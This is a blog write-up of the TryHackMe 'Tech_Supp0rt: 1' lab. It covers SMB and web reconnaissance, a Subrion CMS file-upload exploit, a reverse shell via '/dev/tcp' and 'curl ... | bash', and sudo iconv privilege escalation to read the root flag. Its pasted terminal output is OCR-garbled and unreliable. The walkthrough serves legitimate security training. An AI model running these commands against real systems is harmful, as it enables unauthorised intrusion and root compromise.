Thursday, June 9, 2022

TryHackMe Tech_Supp0rt: 1 Write up

 Hack into the machine and investigate the target.

 

Please allow about 5 minutes for the machine to fully boot!

 

Note: The theme and security warnings encountered in this room are part of the challenge.

 

To start off I want to give a huge shout out to my source here. when ever I was stuck I would refer back to this walk through so please show him love and check it out!!!!!!!

 

Source: https://musyokaian.medium.com/tech-supp0rt-tryhackme-walkthough-dcb2376c0890

 

 

How to: So to start off make sure you have the machine booted up, and once it is boot copy the IP address of the target machine.  Make sure if you are not using the attackbox machine that you have your VM connected to the TryHackMe openvpn.  You can do this by first being in the same folder that you have the openvpn file, run the command sudo openvpn [name of the file.ovpn].  This will get you connect and be able to work with the target machine.

 

Now that you are connect to the TryHackMe VPN and have the IP address of the target machine time to do some recon, lets start off by doing an nmap scan.  The nmap scan I ran was nmap -A [ip of target machine],  the -A will enable OS detection, version detection, script scanning, and traceroute.  Here is the results of our nmap scan:

 

(gengartech@kali) — 
nmap -A 10.10. 87.69 
Starting Nmap 7 .92 ( https://nmap.org ) at 2022—06—08 20:08 EDT 
Nmap scan report f or L". 10.87.69 
Yost is up (0.088s latency) 
Not shown: 996 closed t cp ports (conn—refused) 
STATE SERVICE 
22/ t cp open ssh 
ssh—hostkey: 
VERSION 
OpenSSY 7 .2p2 Ubuntu 4ubuntu2.iO (Ubuntu Linux; 
protocol 2.0) 
2048 (RSA) 
256 (ECDSA) 
256 (ED25519) 
80/ t cp open 
'_http—t±tle: 
139/ t cp open 
445/ t cp open 
Service Info: 
ht tp 
Apache httpd 2 . 4.18 (Obuntu)) 
Apache2 Obuntu Default ? age: It works 
'_http—server—header: Apache/ 2.4 . 18 (Obuntu) 
Samba smbd 3 ..X — 4 . X (workgroup: WORKGROU?) 
netbios—ssn Samba smbd 4 . 3 . IL—Ubuntu (workgroup: WORKGROUP) 
Yost: OS: Linux; C?E: 
Yost script results: 
smb2—time : 
date: 
start_date: N/A 
account _ used: guest 
authentication level: user 
challenge _ response: supported 
message _ signing: disabled (dangerous, 
but default) 
Message signing enabled but not required 
OS: Windows 6.1 (Samba 4 . 3.11—0buntu) 
Computer name: techs upport 
NetBios computer name: 
Domain name: IxOO 
FODN: techsupport 
system time: 
: —Lh50mOLs, deviation: 3hIOm30s, median: 
clock—skew: mean 
Service detection performed. ? lease report any 
Nmap done: I? address host up) 
scanned ± n 
incorrect results at https://nmap . org'submit/ 
27.31 seconds

 

We can see that ports 22, 80, 139, and 445 are open.  The next scan to run would be smbmap, run it with smbmap -H [IP of target machine] -P 139, the -H is to set the host and the -P sets the port.  Here is the results of the smbmap scan:


(gengartech@kali) — J 
smbmap -E 10.10.87.69 
-P 239 
10.10.87.69 
Guest session 
Disk 
prints 
websvr 
Ubuntu)) 
10.10.87.69:139 
Name : 
Permissions 
NO ACCESS 
READ ONLY 
NO ACCESS 
Comment 
? r Inter Dr Ivers 
Service 
server 
( S amba

 

So as you can see the websvr is read only, so we might be able to take a peak inside.  Let us try using smbclient //[IP of target machine]/websvr.  When prompted for a password leave it blank and hit enter.  Now we are in the smbserver, you can list it's contents with the command ls , and we see an interesting file called enter.txt. We can download the file by using the command get enter.txt.  This will copy it over to your current directory.  You can now type exit in the smbserver to leave.  Now use the command cat enter.txt to view the text file.

 

a— (gengartech@kali) — J 
cat enter. txt 
l) Make fake popup and host it online on Digital Ocean server 
2) Fix sublion site, / subrion doesn't work, 
3) Edit wordpress website 
Sublion creas 
—sadm±n : 
Wordpress creds 
edit from panel 
[cooked with magical formula)

 

This gives us some good info and a hint.  For the Subrion creds it says cooked with a magical formula, that’s the hint, if you go to https://gchq.github.io/CyberChef/ copy the Subrion creds and paste it into Cyber Chef by the output you will see a magic want.  Click on the magic wand and it will give you the Subrion password which is:

 




So now we can hold that credential in our back pocket for now.  Next we can run another scan to check on any sub domains, we can do this by running Gobuster.  If you don't have Gobuster on your machine you can get it here (https://github.com/OJ/gobuster), once you get it then you can run it with this command, gobuster dir -u [IP of target machine]  -w /usr/share/dirb/wordlists/common.txt -t 4 ,  the dir is for directory mode, -u is to set the url, -w sets the wordlist, and -t sets how many threads you will use.  Here is the results of the Gobuster scan:

 

(gengartech@kali) — : — J 
gobuster —u http://LO 
Gobustel v3.I.O 
by OJ Reeves (@üheCoIoniaI) 
10:20 
.10. 87.69 
- /usr/share/dirb/wordlists/common.txt 
Christian Mehlmauer 
http://zo.10.87.69 
(@firefart) 
Method: 
Threads: 
Wordlist: 
Negative Status 
User Agent: 
Timeout: 
codes: 
/usr/ share/ dirt/ wordlists/common . txt 
gobusteI/3.I.O 
zos 
2022/06/08 10:18 
/ .htaccess 
/ . htpasswd 
/indey.. html 
/ php±nfo . php 
/ server—status 
/ test 
/wordpress 
2022/06/08 
: 42 
: 25 
Starting gobuster in directory 
enumeration 
mode 
(Status: 
(Status: 
(Status: 
(Status: 
(Status: 
(Status: 
(Status: 
(Status: 
Finished 
403) 
403) 
403) 
200) 
200) 
403) 
301) 
301) 
(Size: 
[Size: 
[Size: 
[Size: 
(Size: 
[Size: 
[Size: 
(Size: 
27 6 J 
276) 
27 6 : 
: 1321 J 
949231 
276) 
309) 
3141 
http 
http 
: //LO.LO 
: //LO.LO 
.87. 69/ test/l 
.87 .69/ wordpress/J

 

Now we have some of the server directories, we have a password lets see where we can get too.  If you look at the enter.txt file that we got from the smb server it says fix the subrion site, and edit from panel we can try this by opening up firefox and typing in [IP of Target Machine]/subrion/panel/ and it should take you to a login panel that we can put in the creds we got from the enter.txt.  Here is a picture of the login panel site:

 

Login :: Powered by Subric x + 
o a 10.10.87.69 
/subrion/panel/ 
Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter 
Welcome to 
Subrion Admin Panel 
Exploit-DB 
Google Hacking DB 
admin 
O Remember me 
R OffSec 
Login 
Forgot your password? 
Powered by Subrion CMS v4.2.1 
Copyright •C' 2008-2022 Intelliants LLC 
Back to homepage

 

Now that we are inside if you look at the bottom left you will see the version of Subrion CMS that we are running.  The version is Subrion CMS v 4.2.1, we can search it to see if there are any exploits we can use.  We can start with searchsploit.  I ran the command searchsploit subrion cms 4.2.1, and got back 4 results.


(gengartech@kali) — 
searchspio±t subrion cms 4.2 
Exploit ütIe 
subrion CMS 4.2. 1 
subrion cys 4.2.1 
subrion CMS 4.2. 1 
— 'avatar [path)' XSS 
Arbitrary File Upload 
Cross Site Request Forgery 
Cross—site Scripting 
(CSRF) 
? ath 
php/webapps/49346. txt 
php/webapps/4 9876 . py 
php/webapps/ 50737 . txt 
php/webapps/45L50 . txt 
She 11 codes: 
No Results

 

I went with the second one, and to find the full path I ran this command searchsploit php/webapps/49876.py -p, and got back the path: /usr/share/exploitdb/exploits/php/webapps/49876.py.  I can now cp it over to my current directory by using the command sudo cp /usr/share/exploitdb/exploits/php/webapps/49876.py /home/[username], we use sudo since it is in an root area that requires root privileges' to copy.  Now that we have the file copied over to our current directory we can run it on the server using the following command, python3 49876.py -u http://[IP of Target Machine]/subrion/panel/ -l admin -p Hidden, the -u is to set the url, the -l is to set the user and -p sets the password.  Once this is run you should have a webshell on the subrion server:

 

So my next move was to try and upload linpeas to the server to see what weaknesses it had, I started a python simple HTTP and tried to curl over linpeas but it kept giving me errors so my next move was to go into the web panel and upload it that way.  Once you have logged in you can then click on content and then on upload.  You will see a floppy disk icon in uploads that you can use to upload a file.  This is how I uploaded linpeas.

 

Kali 
x 
Uploads Powered by S.. 
o a 10.10.201.29 
gengartech@kali: 
Lw 
Google Hacking DB 
gengartech@kali: I 
gengartech@kali: 
07:23AM O 
AZIae 
Uploads :: Powered by x 
Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter •S Exploit-DB 
R OffSec 
Subrion 
al 
Cashboarc 
Content 
Memoers 
Financia 
Extensions 
GLOBAL 
Pages 
Menus 
Blocks 
Phrases 
Uploads 
EXTENDED 
Field Groups 
Fields 
Image Types 
EXTENSIONS 
Blog 
Uploads 
Dashboard 
Uploads 
uploads 
uploads 
hidzkecysldqyzd 
phar 
—geo •tic 
linpeas.sh, 319 KB 
0 
Items: 2, sum: 319 
6 direct input to this VM, move the mouse pointer inside or press Ctrl* G.

 

Once it is in there then run the command chmod 777 linpeas.sh, this will make linpeas executable on the system .  Then use the command ./linpeas.sh, now you won't see anything going on and maybe think that it froze but it will take a minute it is running.  When it is finished you will have a wealth of knowledge about the server, one thing that was found looks like the password to the word press site:

 


 

Also in the linpeas scan you find some programs you can run on this system and two users:

 

Avai I able 
Useful software 
/bin/nc 
/ bin/ netcat 
/ usr/b±n/wget 
/usr/b±n/curl 
/ bin / ping 
/usr/b±n/base64 
/ usr/bin/python 
/usr/bin/python2 
/usr/bin/python3 
/usr/b±n/python2.7 
/ usr/bin/perl 
/ usr/b±n/php 
/usr/bin/sudo 
/usr/b±n/lxc 
[+1 Installed Compiler 
/usr/share/gcc—5 
Software

 

[+1 Last 
Username 
root 
scamsite 
logon each 
user 
From 
Latest 
Sun Nov 
F r i May 
28 
-0530 
-0530 
2021 
2021

 

So then I created a simple reverse shell script using nano shell.sh, and putting in it bash -i >& /dev/tcp/[IP of Attack Machine]/4444 0>&1. Make sure you have nc listening and the python simple HTTP server sending, first the nc, on your attack machine for the call too, I did this with the command  nc -lnvp 4444

 

21 stenlng on 
44 44

 

Then the python simple HTTP server can be ran with this command  python -m SimpleHTTPServer, the -m run library module as a script:

 

(gengartech@kali) — : — J 
python —m Simple." T T? Server 
Ser v Îng on 0.0.0.0 port 8000

 

From there on the target machine run the command curl [IP of Attack Machine]:8000/shell.sh | bash , this will get the script and run it on the target machine calling back to the nc listening port we started on our attack machine:

 

(gengartechS kali ) — I — ) 
I isten±ng on (any) 
connect to (L O. 6.1. 2351 
from (UNKNOWN) (10.10.201.29) 49180 
bash: cannot set terminal process group : Inappropriate 
bash: no job control in this shell 
: /var/waw/html/ subrion/upIoadsS Is 
loc t I 
f or 
device

 

Now that we have a reverse shell I made my way to the tmp folder using cd /tmp, then I checked to see if python was on this machine with the command which python:

 

which python 
which python 
/ usr/b±n/python

 

Now its time to upgrade our shell so we can run commands like sudo and su. To do this you will need to run this python command python -c 'import pty;pty.spawn("/bin/bash")' , this will allow you to run more commands on the system.  Now we can use  su scamsite to see if we can move over to that terminal.  Once we do su scamsite it will prompt for a password so we can try the ones we know already: these are hidden and you must do the room to find them. The second password worked and we are now scamsite!


I ran the sudo -l  command to see what can be run through scam site:

 

sudo —I 
sudo —Z 
Matching Defaults entries for scams±te on lechSupport : 
env_reset, 
: /usr/ local,' bin 1 : ,'usr/sbinkv : /usr/bin\v : /sbin\v : /bin\v : /snap/bin 
User scams±te may run the following commands on TechSupport : 
(ALL) NO?ASSWD:

 

Then once I saw that iconv could be run I went to GTFObins to see how I could use it:

 

Sudo 
If the binary is allowed to run as superuser by sudo it does not drop the elevated privileges and may be used to 
access the file system, escalate or maintain privileged access. 
LFILE=fiIe to read 
. /iconv 
-f 8859 1 -t 8859 1 
"$LFILE"

 

So after trying a failing at it a could times I tried sudo -u root iconv -f 8859_1 -t 8859_1 "/root/root.txt" , and it worked!!!! I got the flag copied it over and pasted it in TryHackMe.

 

sudo —u root iconv —f 8859_1 
<sudo —u root ± conv —f 8859 1 —t 8859 
" / root / root. txt" 
90b 
-t 8859 
" / root/root. txt"

 

Again huge shout out to my source here when ever I was stuck I would refer back to this walk through so please show him love and check it out!!!!!!!

 

Source: https://musyokaian.medium.com/tech-supp0rt-tryhackme-walkthough-dcb2376c0890

 

Answer the questions below

 

What is the root.txt flag?

 

Answer: You wont get it that easlily!!!

 

 

From <https://tryhackme.com/room/techsupp0rt1



No comments:

Post a Comment

TryHackMe Write-Up | Sysinternals Task 9  Miscellaneous

BgInfo "It automatically displays relevant information about a Windows computer on the desktop's background, such as the computer ...